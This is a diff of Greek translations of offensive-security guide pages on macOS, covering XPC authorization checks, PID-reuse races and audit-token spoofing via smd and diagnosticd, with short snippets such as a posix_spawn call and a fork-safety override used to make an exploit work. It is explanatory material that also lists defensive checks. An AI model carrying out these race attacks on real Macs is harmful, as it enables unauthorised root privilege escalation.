- Αν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
|
||||
- Εάν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
|
||||
3. **'session-owner': 'true'**
|
||||
- Αν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση αν ο χρήστης είναι ήδη συνδεδεμένος.
|
||||
- Εάν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση εάν ο χρήστης είναι ήδη συνδεδεμένος.
|
||||
4. **'shared': 'true'**
|
||||
- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, αν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`.
|
||||
- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, εάν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`.
|
||||
|
||||
Μπορείτε να [**χρησιμοποιήσετε αυτό το σενάριο**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) για να αποκτήσετε τα ενδιαφέροντα δικαιώματα:
|
||||
```bash
|
||||
@ -273,7 +273,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||
|
||||
### Έλεγχος αν χρησιμοποιείται το EvenBetterAuthorization
|
||||
|
||||
Αν βρείτε τη συνάρτηση: **`[HelperTool checkAuthorization:command:]`** είναι πιθανό ότι η διαδικασία χρησιμοποιεί το προηγουμένως αναφερόμενο σχήμα για εξουσιοδότηση:
|
||||
Αν βρείτε τη συνάρτηση: **`[HelperTool checkAuthorization:command:]`** πιθανότατα η διαδικασία χρησιμοποιεί το προηγουμένως αναφερόμενο σχήμα για εξουσιοδότηση:
|
||||
|
||||
<figure><img src="../../../../../images/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -291,7 +291,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||
|
||||
Σε αυτή την περίπτωση, έχουμε το ίδιο όπως στο EvenBetterAuthorizationSample, [**ελέγξτε αυτή τη γραμμή**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **εκφορτώσετε τον ορισμό της κεφαλίδας του** με:
|
||||
Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **dump its header definition** με:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
@ -305,7 +305,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
@end
|
||||
[...]
|
||||
```
|
||||
Τέλος, πρέπει απλώς να γνωρίζουμε το **όνομα της εκτεθειμένης Υπηρεσίας Mach** προκειμένου να καθορίσουμε μια επικοινωνία μαζί της. Υπάρχουν αρκετοί τρόποι για να το βρούμε αυτό:
|
||||
Τέλος, χρειάζεται απλώς να γνωρίζουμε το **όνομα της εκτεθειμένης Υπηρεσίας Mach** προκειμένου να καθορίσουμε μια επικοινωνία μαζί της. Υπάρχουν αρκετοί τρόποι για να το βρούμε αυτό:
|
||||
|
||||
- Στο **`[HelperTool init]`** όπου μπορείτε να δείτε την Υπηρεσία Mach που χρησιμοποιείται:
|
||||
|
||||
|
||||
@ -8,17 +8,17 @@
|
||||
|
||||
1. Έλεγχος αν η **διαδικασία που συνδέεται είναι υπογεγραμμένη με πιστοποιητικό υπογεγραμμένο από την Apple** (δίδεται μόνο από την Apple).
|
||||
- Αν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάζει με οποιονδήποτε άλλο έλεγχο.
|
||||
2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (έλεγχος ταυτότητας ομάδας).
|
||||
2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (επικύρωση ID ομάδας).
|
||||
- Αν αυτό **δεν επαληθευτεί**, **οποιοδήποτε πιστοποιητικό προγραμματιστή** από την Apple μπορεί να χρησιμοποιηθεί για υπογραφή και σύνδεση με την υπηρεσία.
|
||||
3. Έλεγχος αν η διαδικασία που συνδέεται **περιέχει ένα κατάλληλο bundle ID**.
|
||||
- Αν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **υπογεγραμμένο από την ίδια οργάνωση** θα μπορούσε να χρησιμοποιηθεί για αλληλεπίδραση με την υπηρεσία XPC.
|
||||
4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει **κατάλληλο αριθμό έκδοσης λογισμικού**.
|
||||
- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε ένεση διαδικασίας θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή.
|
||||
4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει έναν **κατάλληλο αριθμό έκδοσης λογισμικού**.
|
||||
- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε διαδικαστική ένεση, θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή.
|
||||
5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD).
|
||||
1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα**.
|
||||
6. Έλεγχος αν η διαδικασία που συνδέεται έχει μια **εξουσιοδότηση** που της επιτρέπει να συνδεθεί με την υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple.
|
||||
7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει **επιθέσεις επαναχρησιμοποίησης PID**.
|
||||
- Οι προγραμματιστές **σπάνια χρησιμοποιούν το API token ελέγχου** καθώς είναι **ιδιωτικό**, οπότε η Apple θα μπορούσε να **αλλάξει** οποιαδήποτε στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
|
||||
7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**.
|
||||
- Οι προγραμματιστές **σπάνια χρησιμοποιούν το API token ελέγχου** καθώς είναι **ιδιωτικό**, οπότε η Apple θα μπορούσε να **αλλάξει** ανά πάσα στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
|
||||
- Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη.
|
||||
- **`xpc_dictionary_get_audit_token`** θα πρέπει να χρησιμοποιείται αντί για **`xpc_connection_get_audit_token`**, καθώς η τελευταία θα μπορούσε επίσης να είναι [ευάλωτη σε ορισμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## PID Reuse
|
||||
|
||||
Όταν μια υπηρεσία **XPC** στο macOS ελέγχει τη διαδικασία που καλείται με βάση το **PID** και όχι το **audit token**, είναι ευάλωτη σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια **κατάσταση αγώνα** όπου μια **εκμετάλλευση** θα **στείλει μηνύματα στην υπηρεσία XPC** **καταχρώντας** τη λειτουργικότητα και μόλις **μετά** από αυτό, εκτελώντας **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** με το **επιτρεπόμενο** δυαδικό αρχείο.
|
||||
Όταν μια υπηρεσία **XPC** του macOS ελέγχει τη διαδικασία που καλείται με βάση το **PID** και όχι το **audit token**, είναι ευάλωτη σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια **κατάσταση αγώνα** όπου μια **εκμετάλλευση** θα **στείλει μηνύματα στην υπηρεσία XPC** **καταχρώντας** τη λειτουργικότητα και μόλις **μετά** από αυτό, εκτελώντας **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** με το **επιτρεπόμενο** δυαδικό.
|
||||
|
||||
Αυτή η συνάρτηση θα κάνει το **επιτρεπόμενο δυαδικό αρχείο να κατέχει το PID** αλλά το **κακόβουλο μήνυμα XPC θα έχει σταλεί** ακριβώς πριν. Έτσι, αν η υπηρεσία **XPC** **χρησιμοποιεί** το **PID** για να **επαληθεύσει** τον αποστολέα και το ελέγξει **ΜΕΤΑ** την εκτέλεση του **`posix_spawn`**, θα νομίζει ότι προέρχεται από μια **εξουσιοδοτημένη** διαδικασία.
|
||||
Αυτή η συνάρτηση θα κάνει το **επιτρεπόμενο δυαδικό να κατέχει το PID** αλλά το **κακόβουλο μήνυμα XPC θα έχει σταλεί** ακριβώς πριν. Έτσι, αν η υπηρεσία **XPC** **χρησιμοποιεί** το **PID** για να **επαληθεύσει** τον αποστολέα και το ελέγξει **ΜΕΤΑ** την εκτέλεση του **`posix_spawn`**, θα νομίζει ότι προέρχεται από μια **εξουσιοδοτημένη** διαδικασία.
|
||||
|
||||
### Παράδειγμα εκμετάλλευσης
|
||||
|
||||
Αν βρείτε τη συνάρτηση **`shouldAcceptNewConnection`** ή μια συνάρτηση που καλείται από αυτή που **καλεί** **`processIdentifier`** και δεν καλεί **`auditToken`**. Είναι πολύ πιθανό να σημαίνει ότι **επαληθεύει το PID της διαδικασίας** και όχι το audit token.\
|
||||
Αν βρείτε τη συνάρτηση **`shouldAcceptNewConnection`** ή μια συνάρτηση που καλείται από αυτή **καλώντας** **`processIdentifier`** και όχι **`auditToken`**. Είναι πολύ πιθανό να σημαίνει ότι **επαληθεύει το PID της διαδικασίας** και όχι το audit token.\
|
||||
Όπως για παράδειγμα σε αυτή την εικόνα (παρμένη από την αναφορά):
|
||||
|
||||
<figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
@ -21,7 +21,7 @@
|
||||
- **Κάθε fork** θα **στείλει** το **payload** στην υπηρεσία XPC ενώ εκτελεί **`posix_spawn`** αμέσως μετά την αποστολή του μηνύματος.
|
||||
|
||||
> [!CAUTION]
|
||||
> Για να λειτουργήσει η εκμετάλλευση είναι σημαντικό να ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ή να το βάλετε μέσα στην εκμετάλλευση:
|
||||
> Για να λειτουργήσει η εκμετάλλευση είναι σημαντικό να ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ή να τοποθετήσετε μέσα στην εκμετάλλευση:
|
||||
>
|
||||
> ```objectivec
|
||||
> asm(".section __DATA,__objc_fork_ok\n"
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
|
||||
## XPC Connection
|
||||
|
||||
Αν δεν ξέρετε πώς να καθιερωθεί μια XPC σύνδεση, ελέγξτε:
|
||||
Αν δεν ξέρετε πώς να καθιερώσετε μια XPC σύνδεση, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../
|
||||
@ -33,8 +33,8 @@
|
||||
|
||||
Αν και η προηγούμενη κατάσταση ακούγεται υποσχόμενη, υπάρχουν ορισμένα σενάρια όπου αυτό δεν θα προκαλέσει προβλήματα ([από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία port, **δεν έχει καθιερωθεί καμία σύνδεση ακόμα**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**.
|
||||
- Οι χειριστές γεγονότων XPC διαχειρίζονται συγχρονισμένα. Αυτό σημαίνει ότι ο χειριστής γεγονότος για ένα μήνυμα πρέπει να ολοκληρωθεί πριν από την κλήση του για το επόμενο, ακόμη και σε ταυτόχρονες ουρές εκτέλεσης. Έτσι, μέσα σε έναν **χειριστή γεγονότος XPC, το audit token δεν μπορεί να αντικατασταθεί** από άλλα κανονικά (μη απαντητικά!) μηνύματα.
|
||||
- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία, **δεν έχει καθιερωθεί ακόμη καμία σύνδεση**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**.
|
||||
- Οι χειριστές γεγονότων XPC διαχειρίζονται συγχρονισμένα. Αυτό σημαίνει ότι ο χειριστής γεγονότος για ένα μήνυμα πρέπει να ολοκληρωθεί πριν κληθεί για το επόμενο, ακόμη και σε ταυτόχρονες ουρές εκτέλεσης. Έτσι, μέσα σε έναν **χειριστή γεγονότος XPC, το audit token δεν μπορεί να αντικατασταθεί** από άλλα κανονικά (μη απαντητικά!) μηνύματα.
|
||||
|
||||
Δύο διαφορετικές μέθοδοι που μπορεί να είναι εκμεταλλεύσιμες:
|
||||
|
||||
@ -44,11 +44,11 @@
|
||||
- Η υπηρεσία **A** καλεί **`xpc_connection_get_audit_token`** ενώ _**δεν**_ είναι μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε μια **`dispatch_async`**.
|
||||
- Έτσι, ένα **διαφορετικό** μήνυμα θα μπορούσε να **αντικαταστήσει το Audit Token** επειδή αποστέλλεται ασύγχρονα έξω από τον χειριστή γεγονότων.
|
||||
- Η εκμετάλλευση περνά στην **υπηρεσία B το δικαίωμα ΑΠΟΣΤΟΛΗΣ στην υπηρεσία A**.
|
||||
- Έτσι, η svc **B** θα είναι στην πραγματικότητα **στέλνοντας** τα **μηνύματα** στην υπηρεσία **A**.
|
||||
- Η **εκμετάλλευση** προσπαθεί να **καλέσει** την **προνομιακή ενέργεια.** Σε μια RC svc **A** **ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ **svc B αντικαθιστά το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιακή ενέργεια).
|
||||
- Έτσι, η svc **B** θα είναι στην πραγματικότητα **αποστέλλοντας** τα **μηνύματα** στην υπηρεσία **A**.
|
||||
- Η **εκμετάλλευση** προσπαθεί να **καλέσει** την **προνομιακή ενέργεια.** Σε μια RC η svc **A** **ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ **η svc B αντικαθιστά το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιακή ενέργεια).
|
||||
2. Variant 2:
|
||||
- Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιακή λειτουργία** στην υπηρεσία A που ο χρήστης δεν μπορεί
|
||||
- Η εκμετάλλευση συνδέεται με **την υπηρεσία A**, η οποία **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**.
|
||||
- Η εκμετάλλευση συνδέεται με **την υπηρεσία A** που **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**.
|
||||
- Η εκμετάλλευση στέλνει **στην υπηρεσία** B ένα μήνυμα περνώντας **αυτή τη θύρα απάντησης**.
|
||||
- Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία A, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθώντας να **φτάσει σε μια προνομιακή λειτουργία** και αναμένοντας ότι η απάντηση από την υπηρεσία B θα αντικαταστήσει το Audit token τη σωστή στιγμή (Race Condition).
|
||||
|
||||
@ -66,25 +66,25 @@
|
||||
|
||||
Αυτό συνέβη με **`A`** ως `smd` και **`B`** ως `diagnosticd`. Η λειτουργία [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) από το smb μπορεί να χρησιμοποιηθεί για να εγκαταστήσει ένα νέο προνομιακό βοηθητικό εργαλείο (ως **root**). Αν μια **διαδικασία που εκτελείται ως root επικοινωνήσει** με **smd**, δεν θα εκτελούνται άλλοι έλεγχοι.
|
||||
|
||||
Επομένως, η υπηρεσία **B** είναι **`diagnosticd`** επειδή εκτελείται ως **root** και μπορεί να χρησιμοποιηθεί για να **παρακολουθεί** μια διαδικασία, οπότε μόλις ξεκινήσει η παρακολούθηση, θα **στέλνει πολλαπλά μηνύματα ανά δευτερόλεπτο.**
|
||||
Επομένως, η υπηρεσία **B** είναι **`diagnosticd`** επειδή εκτελείται ως **root** και μπορεί να χρησιμοποιηθεί για να **παρακολουθήσει** μια διαδικασία, οπότε μόλις ξεκινήσει η παρακολούθηση, θα **στέλνει πολλαπλά μηνύματα ανά δευτερόλεπτο.**
|
||||
|
||||
Για να εκτελέσετε την επίθεση:
|
||||
|
||||
1. Ξεκινήστε μια **σύνδεση** με την υπηρεσία που ονομάζεται `smd` χρησιμοποιώντας το πρότυπο XPC.
|
||||
2. Δημιουργήστε μια δευτερεύουσα **σύνδεση** με `diagnosticd`. Αντίθετα με τη φυσιολογική διαδικασία, αντί να δημιουργήσετε και να στείλετε δύο νέες mach ports, το δικαίωμα αποστολής του πελάτη αντικαθίσταται με ένα αντίγραφο του **δικαιώματος αποστολής** που σχετίζεται με τη σύνδεση `smd`.
|
||||
3. Ως αποτέλεσμα, τα XPC μηνύματα μπορούν να αποσταλούν στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση.
|
||||
3. Ως αποτέλεσμα, τα μηνύματα XPC μπορούν να αποστέλλονται στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση.
|
||||
|
||||

|
||||
|
||||
4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με ανυψωμένα δικαιώματα.
|
||||
5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`.
|
||||
4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με αυξημένα προνόμια.
|
||||
5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της συνάρτησης `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο εφαρμογής του χρήστη). Ωστόσο, η συνάρτηση `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`.
|
||||
|
||||
## Variant 2: reply forwarding
|
||||
|
||||
Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνία), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των απαντητικών μηνυμάτων έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση:
|
||||
Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνίας), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των μηνυμάτων απάντησης έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: Εδώ, το XPC μήνυμα λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το XPC μήνυμα λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης.
|
||||
1. **`xpc_connection_send_message_with_reply`**: Εδώ, το μήνυμα XPC λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το μήνυμα XPC λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης.
|
||||
|
||||
Αυτή η διάκριση είναι κρίσιμη επειδή επιτρέπει την πιθανότητα **τα πακέτα απάντησης να αναλύονται ταυτόχρονα με την εκτέλεση ενός χειριστή γεγονότων XPC**. Σημειωτέον, ενώ το `_xpc_connection_set_creds` εφαρμόζει κλείδωμα για να προστατεύσει από την μερική αντικατάσταση του audit token, δεν επεκτείνει αυτή την προστασία σε ολόκληρο το αντικείμενο σύνδεσης. Ως εκ τούτου, αυτό δημιουργεί μια ευπάθεια όπου το audit token μπορεί να αντικατασταθεί κατά τη διάρκεια της περιόδου μεταξύ της ανάλυσης ενός πακέτου και της εκτέλεσης του χειριστή γεγονότων του.
|
||||
|
||||
@ -109,8 +109,8 @@
|
||||
|
||||
## Discovery Problems
|
||||
|
||||
- **Δυσκολίες στην Εύρεση Περιστατικών**: Η αναζήτηση για περιστατικά χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά.
|
||||
- **Μεθοδολογία**: Χρησιμοποιήθηκε το Frida για να συνδεθεί η λειτουργία `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση.
|
||||
- **Δυσκολίες στην Εύρεση Περιπτώσεων**: Η αναζήτηση για περιπτώσεις χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά.
|
||||
- **Μεθοδολογία**: Χρησιμοποιήθηκε το Frida για να συνδεθεί η συνάρτηση `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση.
|
||||
- **Εργαλεία Ανάλυσης**: Χρησιμοποιήθηκαν εργαλεία όπως IDA/Ghidra για την εξέταση προσβάσιμων mach υπηρεσιών, αλλά η διαδικασία ήταν χρονοβόρα, περιπλέκεται από κλήσεις που περιλαμβάνουν την κοινή μνήμη dyld.
|
||||
- **Περιορισμοί Σενάριων**: Οι προσπάθειες να αυτοματοποιηθούν οι αναλύσεις για κλήσεις προς `xpc_connection_get_audit_token` από μπλοκ `dispatch_async` εμποδίστηκαν από τις πολυπλοκότητες στην ανάλυση μπλοκ και τις αλληλεπιδράσεις με την κοινή μνήμη dyld.
|
||||
|
||||
@ -118,8 +118,8 @@
|
||||
|
||||
- **Αναφερόμενα Ζητήματα**: Υποβλήθηκε αναφορά στην Apple που περιγράφει τα γενικά και συγκεκριμένα ζητήματα που βρέθηκαν στο `smd`.
|
||||
- **Απάντηση της Apple**: Η Apple αντιμετώπισε το ζήτημα στο `smd` αντικαθιστώντας το `xpc_connection_get_audit_token` με το `xpc_dictionary_get_audit_token`.
|
||||
- **Φύση της Διόρθωσης**: Η λειτουργία `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που συνδέεται με το ληφθέν XPC μήνυμα. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`.
|
||||
- **Φύση της Διόρθωσης**: Η συνάρτηση `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που σχετίζεται με το ληφθέν μήνυμα XPC. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`.
|
||||
- **Απουσία Ευρύτερης Διόρθωσης**: Παραμένει ασαφές γιατί η Apple δεν υλοποίησε μια πιο εκτενή διόρθωση, όπως η απόρριψη μηνυμάτων που δεν ευθυγραμμίζονται με το αποθηκευμένο audit token της σύνδεσης. Η πιθανότητα νόμιμων αλλαγών audit token σε ορισμένα σενάρια (π.χ. χρήση `setuid`) μπορεί να είναι παράγοντας.
|
||||
- **Τρέχουσα Κατάσταση**: Το ζήτημα παραμένει στο iOS 17 και macOS 14, προκαλώντας προκλήσεις για όσους επιδιώκουν να το εντοπίσουν και να το κατανοήσουν.
|
||||
- **Τρέχουσα Κατάσταση**: Το ζήτημα παραμένει στο iOS 17 και macOS 14, αποτελώντας πρόκληση για όσους επιδιώκουν να το εντοπίσουν και να το κατανοήσουν.
|
||||
|
||||
{{#include ../../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Enumeration
|
||||
|
||||
Βρείτε τις εγκατεστημένες εφαρμογές Java στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν κάποιες παραμέτρους java που περιέχουν τη συμβολοσειρά **`java.`**, οπότε μπορείτε να αναζητήσετε αυτό:
|
||||
